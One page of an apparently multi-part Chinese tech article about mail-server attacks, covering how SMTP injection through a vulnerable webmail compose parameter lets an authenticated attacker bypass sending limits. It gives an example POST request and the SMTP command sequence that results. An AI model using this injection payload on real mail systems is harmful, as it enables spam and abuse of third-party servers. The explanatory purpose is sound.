扫一扫
分享文章到微信
扫一扫
关注官方公众号
至顶头条
在本页阅读全文(共5页)
（六）垃圾邮件
采用的技术：SMTP注射
用户认证要求：有
这里介绍的情形跟前面的转发攻击一样。因为攻击者的目标是尽量绕开各种限制，例如，一个用户允许发送的电子邮件数量的上限，所以攻击者向有弱点的参数中注入攻击者想要发送的电子邮件数量所需的命令。通过向web服务器发送一个像下面那样的POST请求，攻击者就能完成许多动作。下面举例说明攻击者如何只用一个简单命令来发送三个电子邮件：
POST http:///compose.php HTTP/1.1 ... -----------------------------134475172700422922879687252 Content-Disposition: form-data; name="subject" SPAM Example . MAIL FROM: external@domain1.com RCPT TO: external@domain2.com DATA SPAM test . MAIL FROM: external@domain1.com RCPT TO: external@domain2.com DATA SPAM test . MAIL FROM: external@domain1.com RCPT TO: external@domain2.com DATA SPAM test . -----------------------------134475172700422922879687252 ... 这将引发下列SMTP命令序列： MAIL FROM: RCPT TO: DATA Subject: SPAM Example . MAIL FROM: external@domain1.com RCPT TO: external@domain2.com DATA SPAM test . MAIL FROM: external@domain1.com RCPT TO: external@domain2.com DATA SPAM test . MAIL FROM: external@domain1.com RCPT TO: external@domain2.com DATA PAM test . ... |
如果您非常迫切的想了解IT领域最新产品与技术信息，那么订阅至顶网技术邮件将是您的最佳途径之一。
京公网安备 11010802021500号